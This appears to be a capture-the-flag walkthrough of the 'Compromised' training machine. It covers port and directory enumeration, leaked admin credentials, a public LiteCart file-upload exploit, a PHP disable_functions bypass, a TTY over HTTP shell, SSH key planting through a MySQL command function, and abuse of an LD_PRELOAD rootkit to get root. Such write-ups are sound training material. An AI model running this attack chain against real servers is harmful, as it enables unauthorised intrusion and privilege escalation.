search

Compromised

hashtag
Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.207 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.207 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

There is a rubber duck online store hosted on port 80. It works with a LiteCart server.

There are a few interesting files that we can enumerate with gobuster.

gobuster dir -u http://10.10.10.207 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

The /backup directory contains a compressed file.

Download the file, and decompress it.

tar xf a.tar.gz

It contains a shop directory, with what looks like a backup of the web server.

ls -la shop/

The .sh.php is a webshell. It looks like the server was compromissed.

cat shop/.sh.php

Unfortunatelly for us, the webshell doesn't exist anymore in the web server.

http://10.10.10.207/.sh.php

There is one directory called admin, with some PHP files.

ls -la shop/admin/

The login.php contains a comment with the name of a log file.

cat shop/admin/login.php

The .log2301c9430d8593ae.txt file contains credentials.

curl http://10.10.10.207/shop/admin/.log2301c9430d8593ae.txt

Let's use them in the login page in /shop/admin.

Once in, we'll see the version of te LiteCart software.

There is one arbitrary file upload vulnerability that affects this version of the software.

searchsploit litecart 2.1.2

Let's move it to the current directory.

searchsploit -m php/webapps/45267.py

hashtag
Exploitation

If we run the script, we'll see that it uploads the webshell successfully, but we can't run commands with it.

python2 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin

Let's modify the exploit. Instead of run a PHP webshell, we'll make it show PHP information.

nano 45267.py

Now, run the exploit again, and check the uploaded file to see phpinfo() function.

python2 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin

As we can see in the disable_functions section, all the functions that allow us to run commands on the system are disabled.

But there is still a way to run commands on the system using the PHP 7.3 disable_functions Bypass arrow-up-rightcode. Download it, and modify it the call of the pwn function.

nano bypass.py

Now we need to make the exploit upload this code instead of the webshell.

nano 45267.py

Run the script again to upload the bypass.php file.

python2 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin

Now we are able to run commands on the system as www-data.

curl http://10.10.10.207/shop/vqmod/xml/UYO5E.php?cmd=whoami

We won't be able to get a shell, because there seems to some kind of firewall blocking connections from the inside. But we can use tools such as ttyoverhttp arrow-up-rightto get a TTY shell over a n HTTP webshell. Download the script, and modify it to add the path to the webshell.

wget https://raw.githubusercontent.com/s4vitar/ttyoverhttp/master/tty_over_http.py

nano tty_over_http.py

Run the script to get a shell in the sever.

rlwrap python tty_over_http.py

hashtag
Privilege Escalation

There are two users who use a bash in the system.

grep sh /etc/passwd

There is one file called config.inc.php with credentials for the MySQL database.

cat /var/www/html/shop/includes/config.inc.php

Let's see what databases we can access with these credentials.

mysql -uroot -pchangethis -e "show databases;"

Sometimes there are functions stored in the mysql database. In this case, there is one called exec_cmd.

mysql -uroot -pchangethis -e "select * from mysql.func"

Using this function we are able to run commands as the mysql user.

mysql -uroot -pchangethis -e "select exec_cmd('whoami')"

As port 22 is open, we can grab our public SSH key, and put it in the authorized_keys file of the mysql user.

cat ~/.ssh/id_rsa.pub | tr -d '\n' | base64 | xclip -sel clip

Now, put it in the the authorized_keys file of the mysql user, located in his home directory /var/lib/mysql/.

mysql -uroot -pchangethis -e "select exec_cmd('echo c3N...zYQ== | base64 -d > /var/lib/mysql/.ssh/authorized_keys')"

Now we can get a shell via SSH as mysql without any password.

ssh mysql@10.10.10.207

We need to become the sysadmin user to get the user flag. We are currently in the mysql home directory /var/lib/mysql, which contains a file called strace-log.dat.

ls -la

If we search for the password word in the file, we'll see some credentials.

grep -i password strace-log.dat

Using the found password, we'll be able to become the sysadmin user, and then we could grab the user flag.

su sysadmin

As we know that this machine has been compromised before, maybe the attacker had a rootkit to escalate privileges easily. One way to do it is by hooking functions via LDPRELOAD.

find / -name preload 2>/dev/null

It uses libdate.so.

cat /etc/ld.so.preload

Base64 encode its content.

cat /lib/x86_64-linux-gnu/libdate.so | base64 -w 0

Then, transfer it to our local machine.

echo f0V...AAA= | base64 -d > libdate.so

Now, let's use radare2 to inspect the file more in depth.

radare2 libdate.so

[0x00001060]> aaa

[0x00001060]> afl

If we inspect entry0, we'll see that it has a password.

[0x00001060]> s entry0

[0x00001060]> pdf

As this hijacks the read function, whenever we use that function, and enter the 2wkeOU4sjv84ok/ password, we'll get a shell as root. We could do this with the passwd command. Then, all we have to do is reap the harvest and take the root flag.

passwd

Last updated

Was this helpful?